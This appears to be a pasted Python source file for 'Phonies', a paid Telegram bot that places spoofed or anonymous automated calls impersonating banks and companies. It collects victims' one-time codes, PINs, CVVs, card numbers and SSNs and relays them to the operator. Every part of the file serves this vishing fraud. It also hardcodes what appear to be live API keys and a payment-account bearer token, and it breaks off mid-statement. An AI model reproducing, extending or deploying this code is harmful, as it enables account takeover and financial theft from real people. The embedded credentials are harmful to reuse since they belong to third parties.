Untitled
unknown
plain_text
2 years ago
172 kB
18
Indexable
from __future__ import print_function from flask import Flask, request, send_file from email import utils import json, telnyx, base64, time, sys, sqlite3, contextlib, os, uuid, random from collections import namedtuple from datetime import datetime, timedelta from threading import Thread from flask_ngrok import run_with_ngrok import requests import openai from twilio.rest import Client from twilio.twiml.voice_response import VoiceResponse, Say, Gather, Pause from telebot import types import telebot, openai app = Flask(__name__) configuration = json.load(open("phony.json")) NEURAL_LIST = json.load(open("neural.json")) COUNTRY_CODE = json.load(open("cc.json")) PHONY_DB = "phony.db" bot = telebot.TeleBot(configuration["telegram"]["token"]) openai.api_key = "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" # global variable ongoing_call = {} ongoing_call_command = {} answered_call = {} delete_list_call = {} referral_trx = {} selected = {} TELE_CHANNEL = "@PhoniesChannel" v2_headers = { "Content-Type": "application/json", "Authorization": "Basic " + base64.b64encode(configuration["sinch"]["key"].encode() + ":".encode() + configuration["sinch"]["secret"].encode()).decode() } twl = Client(configuration["twilio"]["account_sid"], configuration["twilio"]["auth_token"]) status_dict = { "call.inprogress": "ā±ļø *Calling*", "call.initiated": "š³ *Ringing*", "call.answered": "š² *Answered*", "call.hangup": "āļø (*Hangup*) _Disconected_", "call.noanswer": "š° (*Status*) _No Answer_", "call.machine.premium.detection.started": "šļø (Checking) Who picked up the call?", "call.machine.detection.started": "šļø (Checking) Who picked up the call?", "call.machine.premium.detection.ended": "Finished checking the call āļø (Premium)", "call.machine.premium.greeting.ended": "It's Machine, who picked up the call š¤ (Premium)", "call.machine.greeting.ended": "It's Machine, who picked up the call š¤ (Std)", "call.machine.detection.ended": "Finished checking the call āļø (Std)", "call.dtmf.received": "on-process receiving code ā", "call.gather.ended": "Finished receiving the code š„ļø", "call.speak.started": "Start reading text-to-speech š£", "call.speak.ended": "Finished reading text-to-sppech āļø", "send.otp": "šŖ Send *One-Time code* to Victim!", "your.otp": "š¢ One-Time code:", "wait.otp": "ā±ļø Send another One-Time code as your requests", "incorrect.otp": "The code you provided is incorrect or has expired, we will send you the code one time in 30 seconds, and you can type a new code on your dialpad.", "success.otp": "Thank you for confirming the one time code to finish the proccess", "channel.notify": """š° We got an *One-Time code* For *Phonies* šŗšø member: XUSERNAMEX š *Company* š° : XCOMPANYX *One-Time code* š¢ : XCODEX *Gate* āļø : XGATEX Let's join with *Phonies* šŗšø at *@Phonies_roBot*. """ } machine_list = ["call.machine.premium.greeting.ended", "call.machine.greeting.ended", "call.hangup"] detection_list = ["call.machine.premium.detection.ended", "call.machine.detection.ended"] ongoing_list = ["call.initiated", "call.answered", "call.hangup"] gather_list = ["call.gather.ended"] speak_list = ["call.speak.started", "call.speak.ended"] # database function def query_many(db_name, sql): with contextlib.closing(sqlite3.connect(db_name)) as con, con, \ contextlib.closing(con.cursor()) as cur: cur.execute(sql) return cur.fetchall() def query(db_name, sql): return query_many(db_name, sql)[0] def execute_statement(db_name, statement): with contextlib.closing(sqlite3.connect(db_name)) as conn: # auto-closes with conn: # auto-commits with contextlib.closing(conn.cursor()) as cursor: # auto-closes cursor.execute(statement) execute_statement(PHONY_DB, "CREATE TABLE IF NOT EXISTS data('call_control_id', 'from', 'to', 'name', 'isBot', 'gatherType', 'status', 'current_data_storedate', 'server', 'digits', 'provider', 'result', 'receive', 'key_api', 'auth_token', 'call_id', 'phone_number', 'chat_id', 'message_id')") execute_statement(PHONY_DB, "CREATE TABLE IF NOT EXISTS voucher('tipe', 'kode', 'expired', 'used_by')") execute_statement(PHONY_DB, "CREATE TABLE IF NOT EXISTS users('user_id', 'tipe', 'expired', 'is_active')") execute_statement(PHONY_DB, "CREATE TABLE IF NOT EXISTS referral('user_id', 'balance', 'code', 'margin')") execute_statement(PHONY_DB, "CREATE TABLE IF NOT EXISTS referral_history('id_referral', 'id_user', 'transaction', 'bonus', 'date')") # if there no admin tipe in voucher then create it if (not query_many(PHONY_DB, "SELECT * FROM voucher WHERE tipe = 'admin'")): execute_statement(PHONY_DB, "INSERT INTO voucher VALUES('admin', 'admin', '9999', '')") provider = json.load(open("provider.json")) telnyx.api_key = configuration["telnyx"]["api_key"] def split_message(text): return [text[i:i+4000] for i in range(0, len(text), 4000)] def four_format(value): return '-'.join(value[i:i+4] for i in range(0, len(value), 4)) def phone_format(n): return format(int(n[:-1]), ",").replace(",", "-") + n[-1] def rupiah(value): value = int(value) return f"IDR {value:,}".replace(",", ".") def usd(value): value = int(value) return f"USD {value:,}".replace(",", ".") def cny(value): value = int(value) return f"CNY {value:,}".replace(",", ".") def rub(value): value = int(value) return f"RUB {value:,}".replace(",", ".") def currency(base): data = { "RUB": 200, "CNY": 2000, "USD": 14000 } return data[base] def price_rub(idr): return round(idr / currency("RUB"), 2) def price_usd(idr): return round(idr / currency("USD"), 2) def price_cny(idr): return round(idr / currency("CNY"), 2) # Messenger Object step_2 = { "redeem": {}, "extends": {}, "purchase": {}, "referral": {}, "telnyx": {}, "company": {}, "twilio": {} } btn_step = {} # Function for whatsapp purposes def button(title, payload): return [types.InlineKeyboardButton( title, callback_data = payload )] def buttons(button_list): return types.InlineKeyboardMarkup( button_list ) def send_message(sender, message_text, button = ""): if (button): # btn_step[sender] = sender bot.send_message(sender, message_text, reply_markup = button, parse_mode='Markdown') else: bot.send_message(sender, message_text, parse_mode='Markdown') def send_voice(sender, url): time.sleep(5) print("\n\n" + url) file_name = "recording_" + str(random.randint(10000, 99999)) def save_recording(url): with requests.get(url, stream=True) as r: with open(f"audio/{file_name}.mp3", "wb") as f: f.write(r.raw.read()) save_recording(url) voice = open(f'audio/{file_name}.mp3', 'rb') bot.send_voice(sender, voice) voice.close() os.remove(f"audio/{file_name}.mp3") def get_voice_name(call_id): cmdCheck = ongoing_call_command[call_id] voiceLang = "en-US-NancyNeural" if ("voice" in cmdCheck): cmdCheck = cmdCheck.split(" ") for cmdc in cmdCheck: if ("voice" in cmdc): if ("=" in cmdc): return cmdc.split("=")[1] return "" def translate(text, lang): KEY_1 = configuration["telegram"]["translator"] headers = { 'Ocp-Apim-Subscription-Key': KEY_1, 'Ocp-Apim-Subscription-Region': 'eastus', 'Content-Type': 'application/json; charset=UTF-8' } params = { 'api-version': '3.0', 'to': lang } data = [{ "Text": text }] response = requests.post('https://api.cognitive.microsofttranslator.com/translate', params=params, headers=headers, data=json.dumps(data)) return response.json()[0]["translations"][0]["text"] def text_to_urlvoice(text, voicetype): KEY_1 = configuration["telegram"]["tts"] LOCATION = "eastus" endpoint = "https://eastus.api.cognitive.microsoft.com/sts/v1.0/issueToken" headers = { 'Ocp-Apim-Subscription-Key': KEY_1, } response = requests.post(endpoint, headers=headers) access_token = str(response.text) endpoint = "https://eastus.tts.speech.microsoft.com/cognitiveservices/v1" headers = { "Authorization": "Bearer " + access_token, "Content-Type": "application/ssml+xml", "X-Microsoft-OutputFormat": "audio-24khz-160kbitrate-mono-mp3", } lang = voicetype.split("-") lang = lang[len(lang) - 1] lang = voicetype.replace(f"-{lang}", "") text = translate(text, lang) body = f"""<speak version='1.0' xmlns="http://www.w3.org/2001/10/synthesis" xml:lang='{lang}'><voice name='{voicetype}'>{text}</voice></speak>""" response = requests.post(endpoint, headers=headers, data=body) content = response.content filenamenya = str(uuid.uuid1()) + ".mp3" with open("audio/" + filenamenya, "wb") as f: f.write(content) return filenamenya def gojek(value, sender): value = int(value) headers = { 'Gojek-Timezone': 'Asia/Jakarta', 'Host': 'customer.gopayapi.com', 'Authorization': 'Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJhdWQiOlsiZ29qZWs6Y29uc3VtZXI6YXBwIl0sImRhdCI6eyJhY3RpdmUiOiJ0cnVlIiwiYmxhY2tsaXN0ZWQiOiJmYWxzZSIsImNvdW50cnlfY29kZSI6Iis2MiIsImNyZWF0ZWRfYXQiOiIyMDIyLTAzLTIzVDAwOjM5OjU2WiIsImVtYWlsIjoibm9uaXJhbmlrQGdtYWlsLmNvbSIsImVtYWlsX3ZlcmlmaWVkIjoidHJ1ZSIsImdvcGF5X2FjY291bnRfaWQiOiIwMS1iNjc0MmYzZmNlMGI0M2NiYjYxNTU4ODllMDYwNTA3Yy0zMSIsIm5hbWUiOiJOYWRpZW0gTWFrYXJpbSIsIm51bWJlciI6Ijg5NTYxMDA4NjcwOCIsInBob25lIjoiKzYyODk1NjEwMDg2NzA4Iiwic2lnbmVkX3VwX2NvdW50cnkiOiJJRCIsIndhbGxldF9pZCI6IjIyMDgyMDA0MDIwMDE5MTYzMSJ9LCJleHAiOjE2ODE5OTY3OTYsImlhdCI6MTY3ODg5NTM3OSwiaXNzIjoiZ29pZCIsImp0aSI6IjhkOWFmMGQ2LWE1NzktNGYzZi1iOWRlLWM3Yjc5MjFmMGZmYyIsInNjb3BlcyI6W10sInNpZCI6ImFhZTcwMTZhLTYyOTYtNDRjZC1iNjEzLTllMTVmZTA5NzdhYyIsInN1YiI6ImU2NGQ3ZjljLWFhNTQtNDUxZS1iYTkzLWMwNWY4NDY4MzRiZiIsInVpZCI6Ijc1NjM5Njk5NSIsInV0eXBlIjoiY3VzdG9tZXIifQ.GadvT3Ga9IQ6aMGiRVNGHXVJH7W0zumHlk29-MZMjEa4Eh-2CS43-k-YQY0O-VCDQRiKKxs_gA7WsVwYFQ9hOho5PvYxEkfmwFtVnjDPzz-VEGSO_3lh0wBAT3fFHFHRjVbTaLy-Z7x5zYeazI2evud2QssQVj6LLl4Tfvh4BCw' } response = requests.get("https://customer.gopayapi.com/v1/users/order-history?country_code=ID&limit=10&service_types=PAY_TO_FRIEND%2CTOPUP", headers=headers) if (response.status_code != 200): return False res = response.json() datanya = res['data']['completed'] for x in datanya: if (x['items'][0]['amount']['value'] == value): step_2['purchase'][sender]["pay_by"] = x['items'][0]['list_notes'] + ' - ' + x['items'][0].get('detail_notes', 'None') step_2['purchase'][sender]["days"] return True return False def get_name(userid): # for messenger # api = f"https://graph.facebook.com/v2.6/{userid}?fields=name&access_token={PAGE_ACCESS_TOKEN}" # r = requests.get(api) # return r.json()["name"] try: return f"@{bot.get_chat_member(userid, userid).user.username}" except: return "None" def parse_id(userid): return get_name(userid) def get_first_name(userid): return get_name(userid) def sinch_request(call_id, ins, action): url = "https://calling.api.sinch.com/calling/v1/calls/id/" + call_id payloads = { "instructions": ins, "action": action } req = requests.patch(url, headers = v2_headers, data = json.dumps(payloads)) return req.json() # dict for command response command_res = { "help": """*šŗšø Phonies Calls šŗšø* ā«ļø /help - _view all commands_ ā«ļø /redeem - _apply license key_ ā«ļø /renew - _renew your account_ ā«ļø /account - _view subscription info_ ā«ļø /purchase - _purchase voucher_ ā«ļø /staff - _view all staff_ ā«ļø /modules - _view all modules_ ā«ļø /status - _view bot active status_ ā«ļø /countries - _available call country_ ā«ļø /neural - _view all neural voice_ """, "countries": """*šŗšø Phonies Calls šŗšø* *Available Countries* šŗšø United States (+1) šØš¦ Canada (+1) š¦š¹ Austria (+43) š§šŖ Belgium (+32) š©š° Denmark (+45) š«š® Finland (+358) š«š· France (+33) š©šŖ Germany (+49) š¬š· Greece (+30) š®šŖ Ireland (+353) š®š¹ Italy (+39) š³š± Netherland (+31) š³š“ Norway (+47) šµš± Poland (+48) šµš¹ Portugal (+351) šŖšø Spain (+34) šøšŖ Sweden (+46) š½š° Kosovo (+383) š¦šŗ Australia (+61) š³šæ New Zealand (+64) šš° Hong Kong (+852) š²š“ Macao (+853) š°š· South Korea (+82) šÆšµ Japan (+81) šøš¬ Singapore (+65) š¹š± Timor Leste (+670) š®š± Israel (+972) š°šæ Kazakhstan (+7) """, "call": """*šŗšø Phonies Calls šŗšø* *š Call Format* ā«ļø *Normal Format*: "/call <_type_> <_phone number_> <_target name_> <_company_> <_code length_> <_last 4 digits_ : *optional*> <_record_ : *optional*> <_voice_ : *optional*>" ā«ļø *Spoofer Format*: "/call <_type_> <_phone number_> <_target name_> <_company_> <_code length_> <_last 4 digits_ : *optional*> <_record_ : *optional*> <_voice_ : *optional*> ? <_spoofed number_>" Note: ā«ļø *OPTIONAL*: _You can leave it blank if you don't want to use it._ ā«ļø *LAST 4 DIGITS*: _You can only use it for CVV, CSC, EXP, CARD._ ā«ļø *VOICE*: Use voice=en-US-JennyNeural for neural voice. (change en-US-JennyNeural to your neural voice) Choose your own Neural Voice by type neural command. *š° Call Type* ā«ļø *CUSTOM* - _Using your own Company script_ ā«ļø *OTP* - _One Time Code_ ā«ļø *PIN* - _Personal Identification Number_ ā«ļø *CVV* - _Card Verification Value_ ā«ļø *CSC* - _Card Security Code_ ā«ļø *EXP* - _Expiry Date_ ā«ļø *AUTH* - _Google Authenticator_ ā«ļø *SSN* - _Social Security Number_ ā«ļø *CARD* - _Card Number_ ā«ļø *ACC* - _Account Number_ *š Call Example* *Victim Name:* John Doe *Type:* OTP *Company Name:* Bank of America *Phone Number:* +1 123 456 7890 *Code Length:* 6 *Last 4 Digits:* - *Record:* True *(OPTIONAL)* *Voice:* en-US-JennyNeural *(OPTIONAL)* *Spoofed Number:* +1 987 654 3210 *(OPTIONAL)* *Call Format*: ```/call otp +11234567890 John-Doe Bank-of-America 6 record voice=en-US-JennyNeural ? +19876543210``` """, "call_v2": """*šŗšø Phonies Calls v2 šŗšø* *š NEW FEATURE* ā«ļø CALL TO EVERY COUNTRY ā«ļø HIDE CALLER NUMBER ā SPOOFER IS NOT AVAILABLE *š Call Format* ā«ļø *Format*: "*/call_v2* <_type_> <_phone number_> <_target name_> <_company_> <_last 4 digits_ : *optional*> <_record_ : *optional*> <_hide_ : *optional*> <_voice_ : *optional*>" Note: ā«ļø *OPTIONAL*: _You can leave it blank if you don't want to use it._ ā«ļø *LAST 4 DIGITS*: _You can only use it for CVV, CSC, EXP, CARD._ ā«ļø *HIDE*: _Hide caller number as Anonymous_ ā«ļø *VOICE*: Use voice=en-US-JennyNeural for neural voice. (change en-US-JennyNeural to your neural voice) Choose your own Neural Voice by type neural command. *š° Call Type* ā«ļø *CUSTOM* - _Using your own Company script_ ā«ļø *OTP* - _One Time Code_ ā«ļø *PIN* - _Personal Identification Number_ ā«ļø *CVV* - _Card Verification Value_ ā«ļø *CSC* - _Card Security Code_ ā«ļø *EXP* - _Expiry Date_ ā«ļø *AUTH* - _Google Authenticator_ ā«ļø *SSN* - _Social Security Number_ ā«ļø *CARD* - _Card Number_ ā«ļø *ACC* - _Account Number_ *š Call Example* *Victim Name:* John Doe *Type:* OTP *Company Name:* Bank of America *Phone Number:* +1 123 456 7890 *Last 4 Digits:* - *Record:* True *(OPTIONAL)* *Hide:* True *(OPTIONAL)* *Voice:* en-US-JennyNeural *(OPTIONAL)* *Call Format*: ``` /call_v2 otp +11234567890 John-Doe Bank-of-America record hide voice=en-US-JennyNeural``` """, "call_v3": """*šŗšø Phonies Calls v3 šŗšø* *š NEW FEATURE* ā«ļø CALL TO EVERY COUNTRY ā«ļø TWILIO BASED ā«ļø HIDE CALLER NUMBER ā SPOOFER IS NOT AVAILABLE *š Call Format* ā«ļø *Format*: "*/call_v3* <_type_> <_phone number_> <_target name_> <_company_> <_code length_> <_last 4 digits_ : *optional*> <_record_ : *optional*> <_hide_ : *optional*> <_voice_ : *optional*>" Note: ā«ļø *OPTIONAL*: _You can leave it blank if you don't want to use it._ ā«ļø *LAST 4 DIGITS*: _You can only use it for CVV, CSC, EXP, CARD._ ā«ļø *VOICE*: Use voice=en-US-JennyNeural for neural voice. (change en-US-JennyNeural to your neural voice) Choose your own Neural Voice by type neural command. *š° Call Type* ā«ļø *CUSTOM* - _Using your own Company script_ ā«ļø *OTP* - _One Time Code_ ā«ļø *PIN* - _Personal Identification Number_ ā«ļø *CVV* - _Card Verification Value_ ā«ļø *CSC* - _Card Security Code_ ā«ļø *EXP* - _Expiry Date_ ā«ļø *AUTH* - _Google Authenticator_ ā«ļø *SSN* - _Social Security Number_ ā«ļø *CARD* - _Card Number_ ā«ļø *ACC* - _Account Number_ *š Call Example* *Victim Name:* John Doe *Type:* OTP *Company Name:* Bank of America *Code Length*: 6 *Phone Number:* +1 123 456 7890 *Last 4 Digits:* - *Record:* True *(OPTIONAL)* *Hide:* True *(OPTIONAL)* *Voice:* en-US-JennyNeural *(OPTIONAL)* *Call Format*: ``` /call_v3 otp +11234567890 John-Doe Bank-of-America 6 record hide voice=en-US-JennyNeural``` """, "company": """*šŗšø Phonies Calls šŗšø* ā«ļø companies - show company list ā«ļø company create - create company ā«ļø company <_company name_> - show company detail """, "modules": """*šŗšø Phonies Calls šŗšø* *Available Modules* š° */company* - show company feature š */call* - based on Telnyx āļø */call_v2* - based on Sinch š² */call_v3* - based on Twilio š§ */sms* - receive sms """ } # function for an postback def postback(sender, state): state = state.lower() if (state == "exit" or state == "/exit"): # del btn_step[sender] for steps in step_2: if sender in step_2[steps]: del step_2[steps][sender] send_message(sender, "ā *CANCELLED*: Cancel current on-progress.") return if "_lang" in state: lang = state.split("_")[0] lang = "en-US" if lang == "skip" else lang if step_2['company'].get(sender, {"step": 0})['step'] == 2: step_2['company'][sender]['step'] = 3 step_2['company'][sender]['custom']['lang'] = lang send_message(sender, f"Your company language is set to {lang}") send_message( sender, "Please enter the Welcome Letter for your victim,\nEx: I'm Robert, your Coinbase, personal assistant. We are calling you regarding our security system, detecting an unusual login, around Kolkata, India.\n\nNote: Please make sure, your letter already on the language you are choosing before, or it will not work." ) # del btn_step[sender] return if "paid_" in state: country = state.split("_")[1] if country == "ref": totconfirm = step_2['purchase'][sender]['total'] + step_2['purchase'][sender]['randomcode'] reffs = query_many(PHONY_DB, "SELECT * FROM referral WHERE user_id = '{}'".format(sender)) if not reffs: send_message(sender, "ā *WARNING*: You cannot paid by Referral balance, because you are not Referrals.") return if int(reffs[0][1]) < totconfirm: send_message(sender, "ā *WARNING*: Your Referral balance is not enough to purchase this voucher.") return blc = int(reffs[0][1]) - totconfirm execute_statement(PHONY_DB, "UPDATE referral SET balance = {} WHERE user_id = '{}'".format(blc, sender)) send_message(sender, f"ā *SUCCESS*: You have successfully paid by Referral balance, Your Referral balance is now {rupiah(blc)}.") code = str(uuid.uuid1()).split("-")[0].upper() + str(uuid.uuid1()).split("-")[0].upper() code = four_format(code) tipe = 'USER' duration = step_2['purchase'][sender]["days"] execute_statement(PHONY_DB, "INSERT INTO voucher VALUES ('{}', '{}', '{}', '')".format(tipe, code.lower(), duration)) send_message( sender, """*Phonies* _Voucher_ šŗšø *CODE*: {} _The voucher is for account with {} type, and have duration for {} days_ """.format(code, tipe, duration) ) # del btn_step[sender] return if country == "id": totconfirm = step_2['purchase'][sender]['total'] + step_2['purchase'][sender]['randomcode'] if gojek(totconfirm, sender): send_message( sender, f"ā CONFIRMED: We're receiving payment from {step_2['purchase'][sender]['pay_by']}" ) if sender in referral_trx: reff = query(PHONY_DB, "SELECT * FROM referral WHERE code = '{}'".format(referral_trx[sender])) blc = reff[1] margin = round(totconfirm * ( reff[3] / 100 )) blc += margin execute_statement(PHONY_DB, "UPDATE referral SET balance = {} WHERE code = '{}'".format(blc, referral_trx[sender])) send_message( reff[0], f"ā REFERRAL: You've got {rupiah(margin)} from referral code {parse_id(sender)} ({get_name(sender)})" ) # insert to referral_history execute_statement(PHONY_DB, "INSERT INTO referral_history VALUES ('{}', '{}', '{}', '{}', '{}')".format( reff[0], sender, totconfirm, margin, datetime.now().strftime("%Y-%m-%d %H:%M:%S") )) del referral_trx[sender] code = str(uuid.uuid1()).split("-")[0].upper() + str(uuid.uuid1()).split("-")[0].upper() code = four_format(code) tipe = 'USER' duration = step_2['purchase'][sender]["days"] execute_statement(PHONY_DB, "INSERT INTO voucher VALUES ('{}', '{}', '{}', '')".format(tipe, code.lower(), duration)) send_message( sender, """*Phonies* _Voucher_ šŗšø *CODE*: {} _The voucher is for account with {} type, and have duration for {} days_ """.format(code, tipe, duration) ) # del btn_step[sender] return else: send_message( sender, f"ā UNCONFIRMED: Please check your payment again, or contact our support if you already paid" ) return del referral_trx[sender] if "buy_" in state: country = state.split("_")[1] if not country: return pricing = json.load(open("price.json")) marginup = 0 if sender in referral_trx: refcode = referral_trx[sender] reff = query(PHONY_DB, "SELECT * FROM referral WHERE code = '{}'".format(refcode)) marginup = reff[3] del referral_trx[sender] else: marginup = 5 for priece in pricing: pricing[priece] += round(pricing[priece] * (marginup / 100)) if country == "id": send_message( sender, f"""š®š© *INDONESIA* (_Virtual Account_) š·ļø *PRICE TAG* ā«ļø *1 - 2 Days*: {rupiah(pricing["3"])}/Day ā«ļø *3 - 6 Days*: {rupiah(pricing["7"])}/Day ā«ļø *7 - 13 Days*: {rupiah(pricing["14"])}/Day ā«ļø *14 - 29 Days*: {rupiah(pricing["30"])}/Day ā«ļø *30 Days more*: {rupiah(pricing["99999"])}/Day Reply with the *number of days* you want to buy, and we will send you the payment method.\n\nAnd if you want to *cancel the purchase*, please type /exit to cancel the purchase. """ ) step_2['purchase'][sender] = {"step": 1, "country": "id"} # del btn_step[sender] return elif country == "ru": send_message( sender, f"""šŗšø *RUSSIA* (_Bitcoin_) š·ļø *PRICE TAG* ā«ļø *1 - 2 Days*: {rub(price_rub(pricing["3"]))}/Day ā«ļø *3 - 6 Days*: {rub(price_rub(pricing["7"]))}/Day ā«ļø *7 - 13 Days*: {rub(price_rub(pricing["14"]))}/Day ā«ļø *14 - 29 Days*: {rub(price_rub(pricing["30"]))}/Day ā«ļø *30 Days more*: {rub(price_rub(pricing["99999"]))}/Day Reply with the *number of days* you want to buy, and we will send you the payment method.\n\nAnd if you want to *cancel the purchase*, please type /exit to cancel the purchase.""" ) step_2['purchase'][sender] = {"step": 1, "country": "ru"} # del btn_step[sender] return elif country == "cn": send_message( sender, f"""šØš³ *CHINA* (_Bitcoin_) š·ļø *PRICE TAG* ā«ļø *1 - 2 Days*: {cny(price_cny(pricing["3"]))}/Day ā«ļø *3 - 6 Days*: {cny(price_cny(pricing["7"]))}/Day ā«ļø *7 - 13 Days*: {cny(price_cny(pricing["14"]))}/Day ā«ļø *14 - 29 Days*: {cny(price_cny(pricing["30"]))}/Day ā«ļø *30 Days more*: {cny(price_cny(pricing["99999"]))}/Day Reply with the *number of days* you want to buy, and we will send you the payment method.\n\nAnd if you want to *cancel the purchase*, please type /exit to cancel the purchase.""" ) step_2['purchase'][sender] = {"step": 1, "country": "cn"} # del btn_step[sender] return else: send_message( sender, f"""š *WORLDWIDE* š·ļø *PRICE TAG* ā«ļø *1 - 2 Days*: {usd(price_usd(pricing["3"]))}/Day ā«ļø *3 - 6 Days*: {usd(price_usd(pricing["7"]))}/Day ā«ļø *7 - 13 Days*: {usd(price_usd(pricing["14"]))}/Day ā«ļø *14 - 29 Days*: {usd(price_usd(pricing["30"]))}/Day ā«ļø *30 Days more*: {usd(price_usd(pricing["99999"]))}/Day Reply with the *number of days* you want to buy, and we will send you the payment method.\n\nAnd if you want to *cancel the purchase*, please type /exit to cancel the purchase.""" ) step_2['purchase'][sender] = {"step": 1, "country": "global"} # del btn_step[sender] return user_id = sender user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(user_id)) if (not user): send_message( user_id, "Your account is not registered." ) return data = query_many(PHONY_DB, "SELECT * FROM data WHERE chat_id = '{}'".format(sender)) call_id = "" if data: data = data[len(data) -1] data_stored = { "call_id": data[15], "call_control_id": data[0], "ke": data[1], "to": data[2], "name": data[3], "isBot": data[4], "gatherType": data[5], "status": data[6], "current_data_storedate": data[7], "otp": { "server": data[8], "digits": data[9], "provider": data[10], "result": data[11], "receive": data[12] }, "auth": { "key_api": data[13], "auth_token": data[14] }, "phone_number": data[16], "chat_id": data[17], "message_id": data[18] } print(data_stored, file=sys.stderr) call_id = data_stored["call_id"] if not call_id: return on_call = ongoing_call[data_stored["call_id"]] provider = json.load(open("provider.json")) o_prov = provider[data_stored['otp']['provider']] res = VoiceResponse() if ("stop_retry" in state): ongoing_call_command[call_id] = "" send_message( user_id, "ā *COMPLETED*: STOP Retry Call" ) return if ("hangup" in state): try: if "sinch" == data_stored["call_control_id"]: sinch_request(call_id, [], {"name": "hangup"}) elif "twilio" == data_stored["call_control_id"]: twl.calls(data_stored["call_id"]).update(status='completed') else: on_call.hangup() except Exception as e: send_message( sender, f"Error: You cannot hang up the call right now!", ) return send_message( user_id, "ā *COMPLETED*: The call gonna be hangup" ) # del btn_step[sender] return json_data = { 'call_control_id': data_stored['call_control_id'], 'client_state': base64.b64encode("otp".encode("ascii")), 'command_id': str(uuid.uuid1()), 'initial_timeout_millis': 120000, 'inter_digit_timeout_millis': 120000, 'timeout_millis': 120000, 'maximum_digits': int(data_stored["otp"]["digits"]) } def speaks(url): return { "name": "playFiles", "ids": [ f"#href[{url}]" ] } def speak(voiceText): vnc = get_voice_name(data_stored["call_id"]) vnc = "en-US-JennyNeural" if not vnc else vnc voiceName = text_to_urlvoice(voiceText, vnc) delete_list_call[call_id].append(f"audio/{voiceName}") return speaks(f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""") prov = data_stored['otp']['provider'].lower() custom_req = prov.split("_") registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"] custom_req = custom_req[len(custom_req) - 1] if custom_req[len(custom_req) - 1] in registred_custom else "otp" def speaks_twilio(voiceText): vnc = get_voice_name(data_stored["call_id"]) vnc = "en-US-JennyNeural" if not vnc else vnc voiceName = text_to_urlvoice(voiceText, vnc) delete_list_call[call_id].append(f"audio/{voiceName}") return f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""" def speak_twilio(voiceText): if configuration["telegram"]["enableVoice"]: res.play(speaks_twilio(voiceText)) else: res.say(voiceText, voice = "woman") def gather_dtmf(digit): webhook_url = configuration["ngrok"]["url"] + "/twilio/outgoing" res.append( Gather( input = "dtmf", action = webhook_url, method = "POST", numDigits = int(digit), timeout = 300000 ) ) if ("finish" in state): send_message( user_id, "ā *COMPLETED*: The call gonna be hangup" ) voice_text = "Thank you for confirming the one time code to finish the proccess".replace("one time code", custom_req) if "sinch" == data_stored["call_control_id"]: sinch_request(call_id, [speak(voice_text)], {"name": "hangup"} ) elif "twilio" == data_stored["call_control_id"]: speak_twilio(voice_text) res.hangup() twl.calls(data_stored["call_id"]).update(twiml=str(res)) else: on_call.playback_stop() vnc = get_voice_name(call_id) if vnc: voiceName = text_to_urlvoice(voice_text, vnc) on_call.playback_start(audio_url=configuration["ngrok"]["url"] + "/voice?name=" + voiceName) delete_list_call[call_id].append(f"audio/{voiceName}") else: on_call.speak( payload = voice_text, language=o_prov['lang'], voice="female" ) time.sleep(5) on_call.hangup() # del btn_step[sender] return if ("again" in state): uy = status_dict["wait.otp"] uy = status_dict["wait.otp"].replace("Send another *One-Time code* as your requests", f"Wait for another {custom_req.upper()} Number be entered") if custom_req != "otp" else status_dict["wait.otp"] iy = status_dict["incorrect.otp"] iy = status_dict["incorrect.otp"].replace("code", f"{custom_req} Number") if custom_req != "otp" else status_dict["incorrect.otp"] send_message(data_stored["chat_id"], uy) if "sinch" == data_stored["call_control_id"]: sinch_request(call_id, [speak(iy)], {"name": "continue"} ) elif "twilio" == data_stored["call_control_id"]: speak_twilio(iy) gather_dtmf(data_stored["otp"]["digits"]) twl.calls(data_stored["call_id"]).update(twiml=str(res)) else: on_call.playback_stop() vnc = get_voice_name(call_id) if vnc: voiceName = text_to_urlvoice(iy, vnc) on_call.playback_start(audio_url=f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""") delete_list_call[call_id].append(f"audio/{voiceName}") else: on_call.speak( payload = iy, language=o_prov['lang'], voice="female" ) headers = { "Accept": "application/json", "Authorization": f"Bearer {data_stored['auth']['key_api']}" } response = requests.post(f"https://api.telnyx.com/v2/calls/{data_stored['call_control_id']}/actions/gather", headers=headers, data=json_data) # del btn_step[sender] return return # This is the function that will be called when the webhook is triggered def messaging(sender, message_text): provider = json.load(open("provider.json")) current_cmd = "" if str(sender) in json.dumps(step_2): on_command = ["redeem", "extends", "purchase", "referral", "telnyx", "company"] for cmd in on_command: if cmd in json.dumps(step_2): for usr in step_2[cmd]: if usr == sender: current_cmd = cmd break if (message_text == "exit" or message_text == "/exit"): try: del step_2[current_cmd][sender] except: print("pass") send_message(sender, f"ā *CANCELLED*: Cancelled the {current_cmd} process") current_cmd = "" return # based on current on-going process if "telnyx" in current_cmd: step = step_2[current_cmd][sender] if (step == 1): configuration[current_cmd]["api_key"] = message_text with open("phony.json", 'w') as outfile: json.dump(configuration, outfile) send_message(sender, "Telnyx API Key has been updated! \nThen, enter Texml UID for your Telnyx voice application.") step_2[current_cmd][sender] = 2 elif (step == 2): configuration[current_cmd]["texml_uid"] = message_text send_message(sender, "Telnyx Texml UID has been updated!\nThe Telnyx settings have been updated") telnyx.api_key = configuration["telnyx"]["api_key"] del step_2[current_cmd][sender] with open("phony.json", 'w') as outfile: json.dump(configuration, outfile) return if "twilio" in current_cmd: step = step_2[current_cmd][sender] if (step == 1): configuration[current_cmd]["account_sid"] = message_text send_message(sender, "Twilio Account SID has been updated! \nThen, enter Auth Token for your Twilio project application.") step_2[current_cmd][sender] = 2 elif (step == 2): configuration[current_cmd]["auth_token"] = message_text send_message(sender, "Twilio Auth Token has been updated!\nThe Telnyx settings have been updated") telnyx.api_key = configuration[current_cmd]["auth_token"] del step_2[current_cmd][sender] with open("phony.json", 'w') as outfile: json.dump(configuration, outfile) return message_text = message_text.lower() if "referral" in current_cmd: del step_2[current_cmd][sender] reff = query_many(PHONY_DB, "SELECT * FROM referral WHERE code = '{}'".format(message_text)) if (reff): referral_trx[sender] = message_text send_message( sender, "Choose your region, for payment method purpose.", buttons([ button("Global š", "buy_wide"), button("Russia šŗšø", "buy_ru"), button("China šØš³", "buy_cn"), button("Indonesia š®š©", "buy_id") ]) ) step_2["purchase"][sender] = { "step": 0 } return if "redeem" in current_cmd: code = message_text code = code.lower() if (code == 